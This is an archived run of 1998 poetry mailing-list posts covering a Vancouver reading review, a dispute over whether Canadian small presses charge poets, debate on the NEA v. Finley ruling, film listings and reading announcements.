DOROTHY TRUJILLO LUSK and deadhead GEORGE BOWERING red at the pizza place where KSW is outflanking Virgin Records look for the takeover bid to come before xmas, buy ksw stock now b4 it splits 3 ways though much of dorothy's work depends on hearing she's a writer not a reader or she affects the obligatoriness of reading to the converted, among the converted attending, Mike Barnholden, MC, Victoria Walker, Marie Anneharte Baker, Goh Poh Seng, Kate Van Dusen, Charles Watts, Peter and Meredith Quartermain, Renee Rodin, Clint Burnham, Rolf Maurer,Roy Miki, Darcy Margesson, gerry gilbert, the mick jagger of canadian poetry, recording for replay on his radio free rainforest going since 1983 or 19sixty something depending... she tried at one point to be dismissive of the audience after we all clapped after a good poem she said does that mean i'm done now? she has a deadpan shotgun delivery she doesn't want to get it right she wants to get it over, her mentor,jack spicer's heir apparent, Scott Watson served free pizza provided by freybe sausage, pink shorts and a blue bow tie, red suspenders, no stogie, spatula will you have sausage he said or sausagelike instead robin blaser shivered remembering specific cigarettes of the fifties while dorothy multisyllabic multiphasic reciting of her deliberating mishearment. Dorothy overestimates her audience ala Ezra Pound and we feel more intelligent just knowing enough to hear the words her work deserves longer attention or a welsh(jamaican?) accent, she seems to have perfected a method of playing five radio stations at once, her juxtapositions her juxtapositions George Bowering Came on calling his reading the Night of the Living

Dead, he began reading the poem of his father's death, desert elm, a poem he mentioned angela approved of, but then anybody would. he started off saying you won't have to work so hard thinking to understand his poems, he skipped a few sections to get to the part he liked in this 1973 poem. the second poem a miniepic he and his mother search for his grandmothers gravesite, the third appears in the new Tads #4, a condensation, writing through Keats and Shelley. Ever the teacher, he explained the method of both before he read but i won't. 3 poems he read, 2 tender sincere poems addressed to his mother, then the hipster finale condensation of Adonais, everybody laughed, most more than once over the course of this short elegy. even with a cold, performing essentially on pilot light, as per usual he charmed em, nobody has left a george bowering reading feeling worse than when they arrived for thirty years, the muhamad ali of canadian poetry, he knocks you out with a cream puff. The new reading space is tres alphaville but the dolphins cavorting on the tiled columns add a reassuring je ne sais squat

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

94. morpheal
Re: payment [of various kinds in various ways]
Fri 3 Jul 1998

> *I just got back from Toronto and heard no such thing from the folks I met with there. I didn't pay money to read either.*

Very odd, as every small press in Canada that I have had any information of or about, from anyone, demands money up front to publish anything from anyone they deal with.

We have several small presses in Hamilton, and I know of some in Toronto, and unless it is a contest where entry fees pay for the winner's chapbook to be

published, everyone pays significant cost plus margin for everything that is published. I mean, _everyone_.

> *would be hard to find a publisher of poetry in Canada that does not pay the poets---unless one is talking about a little local mimeo outfit somewhere.*"

I am talking about the average small press that puts out a dozen or more titles a year, and catalogues them under its own name. Every one I know of gets paid by the author for every copy printed, cost plus margin, based on the kind of work they have been asked to do and the format of publication.

I have yet to receive one piece of information, in ten years of writing, and following anything that comes along, and being a member of the Canadian Poetry Association, receiving their regular mailings, that indicates any press that is willing to publish anyone for any less than cost plus margin. The exceptions are _only_ contest winners where one author is selected from hundreds of enterants who all paid a fee of from 10 to 30 dollars each, to submit a sample of their work. One is selected and published, usually getting only some copies of the publication, while the press retains the larger quantity. Some contests provide all the copies to the author, but that is less frequent.

That is simply the way that it is.

I cannot really afford the League of Canadian Poets. They do not publish the work of members either, but they do promote and distribute the works of members somewhat, along with the publishers who publish them. That is the other Canadian association for poets that provides some information to members as to contests, publications, and presses that are looking for customers. Besides, with only one book self published, the league might not even accept me. They have certain requirements about number and kind of publications, in addition to relatively steep fees and the costs of not being local to where I live as to gatherings.

I know that at least some of the books published by members of the Canadian League of Poets are also author paid for, as I know of the practices of a few of the publishers who do the publishing. I cannot speak for all instances, but only for the limits of what I know, and have been informed of by others, or read in the relevant publications of organizations as presented to me.

Some of the information comes from someone who is a well regarded Canadian poet, established, and a member of the relevant small press association, who knows the practices of other presses and does what they do. It is typical for members to do essentially the same as one another, so as to compete with one another on a somewhat more level playing field. There are rules, albeit unwritten, that they abide by with each other. There are few, if any, maverick entrepreneurs in the biz, and few such ever survive for any lengths of time.

Everyone eventually conforms or perishes so that there is bread on the table of those that survive. Of course a small press, a publisher of any kind, can only become a member of the small press association if they publish a certain number of tomes per year. Otherwise they might as well be mushrooms growing in the manure in the pitch dark. Much of the relevant information is limited to dues paying members in any instance that I know of in anything that I know of. (Another kind of pay per.)

As for readings...It is unusual to have to pay a fee to read. That is almost unheard of. I said that it is typical for people to be allowed to read at good venues for readings, where there are sizable audiences, if:

1). they have paid to publish a book and the publisher is involved in the organizing, as they often are

2). they have paid for a poetry course, seminar, workshop, to an established poet and that poet is doing the organizing, or is a close contact of the organizers (if the organizers are media)

3). there is something to gain for the organizers from inviting that person to read, in terms of other connections, promotions, inclusion. They invite those they can profit from, rather than those they cannot profit from. That becomes a kind of fee, exacted by those who do the organizing. Those they cannot profit from simply are not invited.

That is the gist of it.

Then there is the fact that it costs money to go anywhere to read. The further the distance the more money it costs. That is a different matter. First pay to publish a few books, then pay a few established poets for workshops that run readings, and pay one's own costs to go and read. That is the sum total, for most people who venture into presenting their own work.

Perhaps those with agents do better. I cannot speak to that either, except as to hearsay that indicates they do reasonably well. Some publishers act as agents.

M.

aka Bob Ezergailis

↑ Index

95. henry g
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

How is the gov't deciding not to give somebody money based on a decency clause censorship? Who ever expected the gov't to be a good judge of art? Who ever told Finley to stop performing? That's censorship. I love doing this. Knee-

jerk anti-establishmentism is what innovative poetics is all about. I love saying this! - Jack Spandrift

↑ Index

96. Maria Damon

Re: Pinsky on the NEA vs. Finley

Fri 3 Jul 1998

At 11:47 AM +0000 7/3/98, Robert Archambeau wrote:
>Ron Silliman wrote:
>
>> In yesterday's NY Times, poet laureate Robert Pinsky declines to comment on
>> the US Supreme Court's ruling in the NEA vs. Karen Finley case on the
>> grounds that he has yet to read the decision.
>>
>> I guess that this is an area into he doesn't want to tread simply based on
>> some principle like the freedom of speech without a lot of additional
>> research. Unlike his recent foray into educational policy.
>>
>> Kind of makes you feel special about the post of poet laureate, doesn't it?
>
>I understand that you don't much care for Pinsky and what he stands for,
>but this really isn't fair, Ron. You can't have it both ways, first
>getting angry with RP for (among other things) not doing his homework,
>then getting angry with him for wanting to look into things in detail
>before making a statement.
>
>Robert Archambeau

au contraire, mon cher, this is exactly one of those moments when "not doing one's homework" and offering as an excuse that one hasn't read the assignment carefully enough translate into the same thing. And if i read rs's post properly, pinsky is not the target; one would be right to be outraged at *any* poet laureate who responded thus. i checked out the URL; it's pretty discouraging.

↑ Index

97. David Golumbia
film wknd
Fri 3 Jul 1998

---

i don't know why they always schedule these things when people are away. but there is a wealth of classic non-narrative film playing this weekend in manhattan:

in particular, at anthology film archives, you can see michael snow's wavelength on friday 7/3 (tonight) at 8 and snow's <--> (which we refer to "in the business" as "back and forth") on 7/4 saturday at 8. other films along the way in both cases.THEN Jack Smith's "flaming creatures" with a short, sunday (7/5) at 8 & 9. real cheap too and convenient. oh - also should mention the genius ken jacobs showing laurel & hardy shorts saturday at 6, should be even funnier than fireworks - & also very cool-sounding films from taiwan all weekend that i should know more about but don't.

but at the same time, moma is showing a program called "1968" &, as it ends, is showing 5 avant-garde programs from around then.

here's a weekend schedule that i copied down off the moma phone line:

friday 7/3:
  3pm program 3
  6pm program 4
  8pm program 5
  8pm Andy Warhol's LONESOME COWBOYS!!! special bonus!

saturday 7/4
  2pm program 5
  5pm program 2

sunday 7/5
  2pm program 4
  5pm program 3

description:

program 2: whitneys; breer; bartlett; jordan; hindle(?)
program 3: joyce wieland; lyon; "great blondino"
program 4: peter kubelka; bruce baillie, "castro street"; snow, "wavelength"
program 5: landow, "film in which there appear..."; baillie; ernie gehr!; hollis frampton, "surface tension"!; paul sharits, "n:o:t:h:i:n:g"!; & more

yes kids, program 5 is the real mccoy - rare flicker films, rare frampton, the sublime ernie gehr... free with moma admission i think.. also program 4 and the warhol film on friday night shouldn't be missed. why do they always throw these things together when everyone's away..

--
[redacted]
David Golumbia

↑ Index

98. R. Gancie
man's disposal
Fri 3 Jul 1998

"Kant's critique concentrated all directed, purposeful processes in man's rational action, and this meant that the world could participate in this sort of directness only by becoming a substrate subject to man's purposes. In its metaphorical usage, the expression of "unfinished world" no longer legitimates human action by reference to a prescribed definition and obligatory role in nature. Rather, the transcendental turning requires that the world must be 'unfinished,' and thus material at man's disposal, because this is a condition of the possibility of human action."---from The Legitimacy of the Modern Age by Hans Blumenberg---cp

↑ Index

99. Laura E. Wright
Re: Another Dispatch from Naropa
Fri 3 Jul 1998

Thank you, Patrick Pritchett, for continued posts on Naropa summer readings. Kai Nieminen's reading (mentioned below) was exceptional. I'm privileged to have at hand now a copy of one of Kai Nieminen's poems as translated by Anselm Hollo. It's too delightful not to quote, then I think I'll hop on the next plane to Finland...

Poets are wrong about poetry,
readers are wrong about poetry.
Critics are right about poetry:
it's just idle prattle from past decades.

Critics are wrong about criticism,
artists are wrong about criticism.
Secretaries of State are right about criticism:
there's no need to give a shit.

Politician are wrong about politics,
the media are wrong about politics.
All of us are right about politics:
it's the wrong actions taken at the wrong time.

Economists are wrong about the economy,
consumers are wrong about the economy.
The rich are right about the economy,
that's one secret they'll never reveal to us.

Farmers are wrong about agriculture,
laborers are wrong about agriculture.
Cows are right about agriculture:
eat what's in front of you, let them milk you dry.

Pritchett,Patrick @Silverplume wrote:

> *Three weeks of non-stop poetry and some 8000 words of improvised, impressionistic (and frequently stilted) reporting from Naropa have left me exhausted. I+d decided I was more or less finished with these posts, but the dulcet Jane Dalrymple Hollo convinced me last night to keep going, albeit with briefer posts. Okay, I said. Once more into the murky etcetera.*
>
> *Last night+s reading (July 1) featured Ali Zarrin, Kai Nimenen, Lorna Dee Cervantes and Victor Hernandez Cruz.*
> *(etc.)*

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

100. David Baratier
Re: payment [of various kinds in various ways]
Fri 3 Jul 1998

---

here's a few more I can think of who pay :
anvil, borealis, guernica, gesture, underwhich, tyro

Perhaps its Figments Publishing
but I thought that was in the UK.

Be well

David Baratier

↑ Index

101. **William Slaughter**

Mudlark/Schelling

Fri 3 Jul 1998

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
http://www.unf.edu/mudlark

_____

New and On View:

Mudlark No. 9 (1998)

THE ROAD TO OCOSINGO

Andrew Schelling

* * * * * * * *

In August 1995 I traveled to Mexico with poet Anne Waldman, novelist Rikki Ducornet, and psychoanalyst Jonathan Cohen. We met in Mexico City, a high altitude cosmopolis ringed by mountains, currently the planet's most populous city. The poets Elsa Cross and David Huerta had scheduled a reading and reception for us at Casa del Poeta. Following a few days among friends we went south into Chiapas State. Chiapas held three interconnected interests--cities and pyramids of classic Maya antiquity; contemporary Tzeltal and Tzotzil speaking villages in misty pine forest highlands; and somewhere, out there in the Lacandon threading jungle paths as they elude the Mexican military, the EZLN Zapatista army with its eloquent shadowy elders whose communiques sound like a blend of MesoAmerican shamanism, 20th century poetics, and post-Marxist pragmatism.

Those who go by night said, 'And we see that this way of governing that we name is no longer the way for the many, we see that it is the few who now command, and they command without obeying...'

The journey was a brief one. We hoped to dig into Juana de Asbaje's poems, gaze upon skeletal eyes of Palenque ruler Pacal, and meet a few knowledgable contemporaries. A modest and unremarkable attempt to learn what we could of the temper of Mexico in the EZLN climate. To see what we might find out firsthand, not simply from hearsay. To keep eyes and ears open, take notes like spies, and carry a few books for the work. This despite word the Zapatistas were disburdening literature from their own rucksacks. "Because you're loaded with books doesn't mean someone else offers to carry your ammunition," a subcomandante had recently confided.

This is a journal of the trip, in mongrel mix of prose and verse. Its sense of form is much indebted to Japanese haibun, good style for jotting notes in a rucksack. I kept the writing deliberately loose. Haibun is always stricter, more keenly regimented in how it balances prose and terse lyric.

Matsuo Basho is the poet who brought haibun to its keenest development, particularly in his travel journals. As we wandered Basho trailed without mention behind. Oku no Hosomichi, his best known work (1690), recounts a journey by foot into Japan's northern hinterlands. In his day the province of Oku was an unpredictable and slightly scary back country, geographically and culturally distant from Edo, the capital, and a site of potential unrest. Just as in post-NAFTA North America it is Chiapas first--then Guerrero, Oaxaca, and other Mexican states--that emerge as shakiest members of an economic policy crafted in Washington.

In English Basho's title is "The Back Road to Oku." On the back road to Ocosingo I heard the place names echo.

--from the Author's Introduction

* * * * * * * *

Andrew Schelling, born 1953, grew up in New England. Early influences were the region's granite mountains and resurgent conifer forests, as well as Asian art collections seen in Cambridge and Boston. Moving west, he spent seventeen years in northern California. Wilderness explorations, companionship with urban-based poets of the San Francisco Bay Area, production of samizdat poetry journals, and travels through Europe, Asia and North America. Southeast Asian language study at The University of California, Berkeley, resulted in ongoing translation projects. In 1991 he moved to Boulder, Colorado, to join The Naropa Institute's faculty. He teaches poetry, Sanskrit and wilderness studies.

William Slaughter, Editor
E-mail: [redacted]

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102. **Louis Cabri**

China 2

Fri 3 Jul 1998

China 2

This is a great wall.
It's quite unbelievable, isn't it?
The numbers don't pay.

Feelings go away.
Our psyches are real!
"Fuck you" to the television.

↑ Index

103. Billy Little
Re: payment [of various kinds in various ways]
Fri 3 Jul 1998

---

i don't think you pay enough bob

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

104. Herb Levy
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

Since the decision to uphold the legality of decency tests for arts grants seems to be based on the majority of the justices interpreting the law that was being challenged as merely advisory, while Souter's dissent (correctly, I think) looks at the issue in a very different way, it may not be unreasonable for someone who had only heard or seen a digest version of the decision to want to know more about it.

But the NY Times article Ron is talking about ran a full week after the Court's decision was announced June 25th. Far more than, say, the decisions on the line item veto, attorney-client privilege, healthcare for retired miners or any of the other issues resolved by the Supreme Court announced on the same day, the decision on decency standards for the arts has direct bearing on Pinsky's own art and his role as poet laureate. By the beginning of July, Pinsky should have had an informed opinion on the issue, it's his job.

& in response to Henry's carping about why & how this can be considered government censorship, Souter's dissent may make it more clear. The following is the section excerpted form his dissent printed in the NY Times:

> *The question here is whether the italicized segment (here put into brackets) of this statute is unconstitutional on its face: artistic excellence and artistic merit are the criteria by which applications [for grants from the National Endowment for the Arts] are judged, <taking into consideration general standards of decency and respect for the diverse beliefs and values of the American public.>" It is.*
>
> *The decency and respect proviso mandates viewpoint-based decisions in the disbursement of Government subsidies, and the Government has wholly failed to explain why the statute should be afforded an exemption from the fundamental rule of the First Amendment that viewpoint discrimination in the exercise of public authority over expressive activity is unconstitutional. The Court's conclusions that the proviso is not viewpoint based, that it is not a regulation, and that the NEA may permissably engage in viewpoint-based discrimination, are all patently mistaken.*

In other words, while Henry is correct that Karen Finley has not been legally stopped by the government from making whatever kind of art works she wants to, by using her viewpoint & the content of her work as a basis to make final decisions after it has been selected because of "artistic excellence and artistic merit", the NEA as a government agency is stepping over First Amendment lines.

The issue isn't censorship as such, but what kinds of controls over disbursements the government is allowed to make. Choosing among artists who have been previously selected for government support and deciding based on the content matter of their work isn't the way government is supposed to work in the US.

Bests,

Herb

Herb Levy
[redacted]

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105. **henry g**
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

On Fri, 3 Jul 1998 12:45:37 -0800 Herb Levy said:
>

>In other words, while Henry is correct that Karen Finley has not been
>legally stopped by the government from making whatever kind of art works
>she wants to, by using her viewpoint & the content of her work as a basis
>to make final decisions after it has been selected because of "artistic
>excellence and artistic merit", the NEA as a government agency is stepping
>over First Amendment lines.
>
>The issue isn't censorship as such, but what kinds of controls over
>disbursements the government is allowed to make. Choosing among artists
who
>have been previously selected for government support and deciding based on
>the content matter of their work isn't the way government is supposed to
>work in the US.

That was interesting, Herb, let me carp a little more. I like Souter & I think the majority on the current Supreme Court are often threatening to individual rights. I question the ability of anyone to decide on the artistic merit of a work without taking content & viewpoint into account. So the NEA is being asked to do the impossible in the name of the 1st Amendment, and Karen Finley & Jesse Helms, who deserve each other since they're so alike (missionary extremists) will go on battling over the dough. All I said was, it's not censorship. It may be unconstitutional though! But is it art? - Carpin' Henry

↑ Index

106. david bromige
signing off for a spell
Fri 3 Jul 1998

Must travel for a few days--so am shutting down my e-mail. I will miss you, list-mates. David

↑ Index

107. r. drake
Re: payment [of various kinds in various ways]
Fri 3 Jul 1998

---

m--

praps you could clear things up by being more specific
(naming names) of presses that demand payment frm poets
they publish? none of the presses i'm familiar with
(coach house, curvd H&z, proper tales, mercury press,
ecw, fingerprinting inkoperated, serif of nottingham,
spiderplotz in ratholes, torque, above/ground) have such

requirements, which argues against such being as universal
as you say... but i'd be interested in finding out more...

lbd

> *I just got back from Toronto and heard no such thing from the folks I met with there. I didn't pay money to read either.*
>
> *Very odd, as every small press in Canada that I have had any information of or about, from anyone, demands money up front to publish anything from anyone they deal with.*
>
> *ect...*

↑ Index

108. **morpheal**

Re: payment [of various kinds in various ways]

Fri 3 Jul 1998

> *i don't think you pay enough bob*

You are right. When I was so broke that I was living off of some stale rye crisps, and had nothing in the world except a line to the Internet, for some months actually given free to me by a service provider that I had been buying access from for a few years.....publishing what could have easily been my last poetic words, while attempting to maintain some political activism aimed at world peace and a reduction of international tensions meant to save some lives and better some others.....I did not have a friend in the world who would even buy me a cup of coffee. They expected me to buy them one....And so it goes. It is all difficult to do on stale rye crisps, while also spending the last dime looking for a paying job, but sometimes that is what life means.

So I knew right then that I was still not paying enough. I had to pay more than I was paying....that's for sure. A proven part of my experiences.

> *billy little*
> *4 song st.*
> *nowhere, b.c. V0R1Z0*

We're all on the road to nowhere, except it is in different places at different times, in different provinces, in different countries.

> *...like*
> *this - everytime i write a*
> *poem - i'm afraid - when*
> *i'm dead it will sell*
> *& some other poet will*
> *starve because no one will*
> *buy his poems...*

> *d.a. levy*

I would never worry about that. I figure that someone might buy some someday and find they want more and cannot find any except some other poets writings, and that still won't satisfy them and they'll want still more and more and more, until they have dozens of poetry books on their shelves that the libraries do not buy and circulate because they are not popular enough to keep there.

M.

↑ Index

109. dbkk
Inferno, Succubus, Gates of Hell and More
Fri 3 Jul 1998

If you live in the Bay Area or will be visiting this month, the Center for the Arts (701 Mission Street) is having a film series every Friday night and will be showing some rarely-screened classics of Euro-horror, leading off with Dario Argento's "Inferno" (1980) (July 10) and winding up with a double bill of Mario Bava's "Hercules in the Haunted World" (1961) and "Danger: Diabolik" (1968, also by M. Bava) on the 31st. And don't forget, every Friday and Saturday at midnight this month, the Castro Theater is showing Lucio Fulci's restored "The Beyond" (1981). So . . . call me, let's go!

Kevin ("Giallo") Killian

↑ Index

110. Henry Gould
free speech art pinsky judge etc
Fri 3 Jul 1998

I would like to carp a little more in my ignorant way on this thread since hey it's the 4th of July weekend and bombs are exploding outside my window so... I too remember better days when the government spread its largesse toward the arts with no strings attached and this is as it should be, let the artists and their agents decide, okay. But the idea that artistic merit can be rewarded irrespective of content and viewpoint sounds like a legal fiction which allowed the money to keep on flowing. Consider for example the purely exemplary [fictional] work of Ugo Tsetsetaviti, who produced utterly lifelike - with technical merit in the highest degree - re-enactments of Kristallnacht, in order to glorify Mussolini and the 3rd Reich. His work, sponsored by Big Nazi Productions, a well-established arts foundation in Weekawken, somehow never made it through the funding protocols - despite the high purely artistic quality of the production. I think it offended some people. What's my point? That you can't

have it both ways. Art hits people in a visceral/political way. The connoisseurs of stylish shock understand this better than anyone; their "art" is ALL "content" - but the gummint ain't sposed tah consider that, see? The shock artists want the money - no content considered - AND they want to "protect their freedom of speech' (to get across their content). But see, their art hits home - it offends some people. So the legal fiction is shown up for what it is, and we enter a performance arena with Jesse & Karen spreading the chocolate wide and far.

So what's my solution? Hey, art is a cognitive, political, aesthetical integral thingum all in one. Let it happen; let it fly. An if the gummint turns down your grant, let people know about that. We have to be reminded now and then how we're being channeled into conventional channels, prim and proper and public and protected and precious and private and personal and purple and red, white and blue. But don't spend too much time in court. Because you won't get out until you pay every penny. That's gospel. On the other hand, don't blame the gummint if they don't underwrite shock. No matter how beautiful and idiosyncratic and individual and free and extraordinary and liberating it may be. Cause the gummint got feelings too. We have met the enemy an they is us. - Henry Gould 98 years ago, on the 4th of July 1900, Florence Ainsworth Gould was born. A member in good standing of the D.A.R. There was a painting of Lafayette dancing at a fancy ball with George Washington looking on over the dining room table. There was "Mom" at the head of the table (blind, over 100 yrs old). Florence smoked a lot of cigarettes and drank a lot of daquiris, and had a big laugh and a sense of humor and died of leukemia in 1964. Happy 4th of July, refugees.

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111. Kathy Lou Schultz

Reading at New Langton, Friday, July 10

Sat 4 Jul 1998

For Immediate Release
June 4, 1998

Contact: Lorelei Stewart
[redacted]

Readings

Jim Brashear
Kathy Lou Schultz

Friday, July 10, 8:00 pm

Kathy Lou Schultz is an engaged writer, urgent and cool, whose open forms
include direct statement and extreme fragmentation... Schultz writes about

love, work, and physical life at a time when hope is qualified and nothing
is normal. Re dress is a powerful book.-Robert Glück

[Jim Brashear's go little book] attempts variegated, complex enunciations
of gender/body/language-raising urgent considerations around the socialization of sexuality and text (cultural production). In its allegiance to and innovation of assemblage and issues of intertextuality,
go little book hones its own particular cadence of the lived body and the
social body.-Myung Mi Kim

San Francisco-On Friday, July 10 New Langton Arts presents readings by San Francisco-based writers Jim Brashear and Kathy Lou Schultz, co-editors of Lipstick Eleven, a local magazine of experimental writing. Jim Brashear reads selections from his latest works, which focus attention on the body, both lived and social. Recipes written in English, Dutch, Afrikaans, and Zulu are fused together in a poetic narrative, whose broken form describes how national culture feeds the body/citizen. Another narrative's subject loses its gender, somewhere between a Gothic novel and a bad science-fiction movie, and comes out paranoid about the concept of families and The Shining. Kathy Lou Schultz reads from both published works and new works in progress, including a manuscript entitled "Some Vague Wife," a romp through sex, gender, intimacy, and power which formally rides the rails between prose and poetry. Tickets are $7 general and $5 for students, seniors and Langton members. The readings begin at 8:00 pm and are held in Langton's theater at 1246 Folsom Street, between 8th and 9th streets and three blocks directly south of the Civic Center BART and Muni stop, San Francisco. Please call [redacted] for more information and reservations.

Jim Brashear studied semiotics at Brown University, poetry at San Francisco State University, and computer science at Mills College. He was Editor-in-Chief for Transfer, the magazine of SFSU's Creative Writing Department, and is currently co-editing Lipstick Eleven. Recently published, Lipstick Eleven explores the relationships between the literary journal and the 'zine, the identity of the author and ownership of the text, writing "created" and writing "found."

In his own writing Brashear's play between texts led him to the play between different media, particularly the realms of sound and video. Thus Brashear will return to Mills this fall to study electronic music and multimedia performance. Projects under development include: a "writing machine,"in which a computer program weaves together simultaneous "live" input from writers stationed at

different terminals; and a "linguistic synthesizer," in which speaking sentences into a computer generates electronic music as an "accompaniment" to the reader.

Kathy Lou Schultz's book of poems, Re dress, won the Michael Rubin Award from San Francisco State University. Work from this collection was anthologized in The New Fuck You (Semiotexte). Her recent work appears or is forthcoming in: Outlet, Fourteen Hills, lyric&, Tripwire, and Lipstick Eleven. Schultz teaches creative writing at San Francisco State University, co-edits of Lipstick Eleven, and edits SWEAT: International Labor Magazine of North America. An Associate Editor at InfoWorld Magazine, Schultz received her MFA in Creative Writing and American Literature from San Francisco State University and her BA from Oberlin College, OH.

This event is funded by Poets & Writers' through a grant received from the
Lila Wallace-Reader's Digest Fund.

New Langton Arts is supported in part by the Grants for the Arts/San Francisco Hotel Fund, The National Endowment for the Arts Planning and Stabilization Program, San Francisco Arts Commission, California Arts Council, Banana Republic, BankAmerica Foundation, Sheana W. Butler, Penny and James Coulter, Digital Pond, Martha W. Dresher, DFS Group Limited, Robert and Elizabeth Fisher Fund of the San Francisco Foundation, William S. and Sakurako D. Fisher, The William and Flora Hewlett Foundation, Edward L. Jew, Lannan Foundation, Meet the Composer, Morla Design, Poets & Writers, Inc., Kathryn A. Taylor and Thomas F. Steyer, the Voluntary Arts Contribution Fund, The Andy Warhol Foundation for the Visual Arts, Richard and Susan Swig Watkins, WESTAF, The Zellerbach Family Fund, and the members and board of directors of New Langton Arts.

###

For interviews, photographs, or further information please contact Lorelei
Stewart at [redacted].

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112. George Bowering

Re: payment [of various kinds in various ways]

Sat 4 Jul 1998

> *I just got back from Toronto and heard no such thing from the folks I met with there. I didn't pay money to read either.*
>
> *Very odd, as every small press in Canada that I have had any information of*

> *or about, from anyone, demands money up front to publish anything from anyone they deal with.*

This person has very scant knowledge. Here are some small presses that pay their poets: Talonbooks, RDC Press, Turnstone Press, NeWest, Pulp, New Star, 5th House, Exile, ECW, Vehicule, Thistledown. I would offer the names of some that ask you to pay them, but, frankly, I have not heard of any.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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113. toddbaron
Re: Inferno, Succubus, Gates of Hell and More
Sat 4 Jul 1998

Kevin:

Is there a fault with yr e-mail
I've a question for Dodie and get a "fault" message" when I e-mail
you...

Todd B.

↑ Index

114. toddbaron
Re: Inferno, Succubus, Gates of Hell and More
Sat 4 Jul 1998

Kevin:

Is there a fault with yr e-mail
I've a question for Dodie and get a "fault" message" when I e-mail
you...

Todd [redacted] wrote:
>
> If you live in the Bay Area or will be visiting this month, the Center for
> the Arts (701 Mission Street) is having a film series every Friday night
> and will be showing some rarely-screened classics of Euro-horror, leading
> off with Dario Argento's "Inferno" (1980) (July 10) and winding up with a
> double bill of Mario Bava's "Hercules in the Haunted World" (1961) and

> "Danger: Diabolik" (1968, also by M. Bava) on the 31st. And don't forget,
> every Friday and Saturday at midnight this month, the Castro Theater is
> showing Lucio Fulci's restored "The Beyond" (1981). So . . . call me,
> let's go!
>
> Kevin ("Giallo") Killian

↑ Index

115. George Bowering

Re: payment [of various kinds in various ways]

Sat 4 Jul 1998

> *i don't think you pay enough bob*
>
> *You are right. When I was so broke that I was living off of some stale rye crisps, and had nothing in the world except a line to the Internet,*

How do you know when rye crisps are stale?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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116. Daniel Carter

letter visit

Sat 4 Jul 1998

{ } void-sign classic

undercover signals fusually shudder at the light attempting to escape the slat-
est black fantasy text day needs another day t' take off shutter standards for t'
daze gloves out of control beyond any and all normative confine(s) an unclear
tomb

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

↑ Index

117. Joe Amato/Kass Fleisher
Re: free speech art pinsky judge etc
Sat 4 Jul 1998

henry, just must jump in here: this is one of those times where the spirit saves etc...

no one is denying that content is, ultimately, part of what's judged for an nea... the nea process is undoubtedly as capricious, full of error and oversight and overdetermination and so forth, as any other such evaluative process (esp. one that operates under govt. sanction)... i'm sure content is judged, reputation is judged, even intention is judged (have you ever tried to grab hold of an intention?)... just have a close look at the application form...

the point is that these judgments, from the point of view of some on this list (i would hope most, if not all), are best left to artists/poets/etc... that a trustee relationship *should* prevail between the public and its government representatives on this matter (and don't let's start getting into whether representatives must be, in all senses, mere delegates of the public will---the pentagon don't work this way either, e.g.)...

that a given work "offends" will of course be taken into account in any case---as you correctly intuit, and as a practical matter, simply b/c the entities doing the judging are human, and social beings... yet the supreme court's decision is problematic not simply b/c it threatens to censor work that is already produced, but b/c it will have the effect of drawing a tighter circle around that which is produced and submitted for a grant---i.e., smaller deviation from the norm, as the statisticians say... granted [wink], not everyone need apply for an nea, and the work of those who do will in any case represents only a small portion of gross artistic product (gap, ha)...

but *if* you believe the arts (among other things) in this country are under *public* attack by a right-wing mentality out to restore "decency" to schools and the like---i do, and i judge this mself, in part, on the basis of what i see going on in other sectors of our "economy," and in other countries---why then i think you must concede that the supreme court ruling plays to this tendency... how?... well, by de facto making content a public issue in a very specific way (on the basis of "offense," let's say)---which is not simply making public that which was always the case, henry... it's making the content issue public so as to discourage a potentially wider range of publicly-supported art (i'll leave aside the question here of who gets to decide who does the judging---but it's not hard to imagine what might happen in this regard)...

capisce?... you can't have it 'both ways,' no... but what's good for the goose: if you're gonna point out that content has always been an issue, you have as well

to point out that---whatever the various nea panels have rendered in terms of content evaluation---nobody has actually *regulated*, constitutionally, the nature of that issue... till now, that is...

best,

joe

↑ Index

118. Daniel Carter
letter visit hum bleak requested entry
Sat 4 Jul 1998

{ } void-sign classic

undercover signals fusually shudder at the light attempting to escape the slatest black fantasy text day needs another day t' take off shutter standards for t' daze gloves out of control beyond any and all normative confine(s) an unclear tomb

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

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119. Henry G
2nd thoughts on court
Sat 4 Jul 1998

I see in the paper today that the Whitney Museum has pulled funding for a major project involving Karen Finlay. She & her curators had predicted this kind of fallout from the Supreme Court ruling. (article in today's Times). My Jack Spandrift devil's advocacy maybe took me over to the "wrong side of history" so to speak. This is a shame that conservative forces in government can protect the public from all but safe and meretricious forms of art, while the commercial media continues to pump out mind-numbing garbage at will. What my previous post on this issue was trying to say was that in a democracy these kinds of pressures might be inevitable, since the government politicizes the majority; and if government funds are involved, it's a legal fiction to suggest that a government agency can make grants on the basis of pure merit, as if that could exist without content and a viewpoint on that content. I'm just trying to think through this stuff from an unpopular list perspective, I think that's fun to do, and regret some of the snide remarks about "shock artists" etc. There is a kind of cultural censorship going on here, which is a familiar kind of safe repression which appears all through history. - Henry Gould

↑ Index

120. R. Gancie
quantum of action
Sat 4 Jul 1998

"It will serve our purposes if we first state that Bohr was not a positivist and explain why. A few years ago E. [e.g. Edward] Teller reminded me of two remarks Bohr made when we were working together at his institute. One of them was made after Bohr had addressed a congress of positivist philosophers. Bohr was deeply disappointed by their friendly accceptance of all he had said about quantum theory, and he told us: "If a man does not feel dizzy when he first learns of the quantum of action, he has not understood a word." They accepted quantum theory as an expression of experience, and it was their Weltanschauung to accept experience; Bohr's problem, however, was precisely how such a thing as a quantum of action can possibly be an experience."---from The Unity of Nature by Carl Friedrich von Weizsaecker---cp

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121. dbkk
July 10th double dilemma
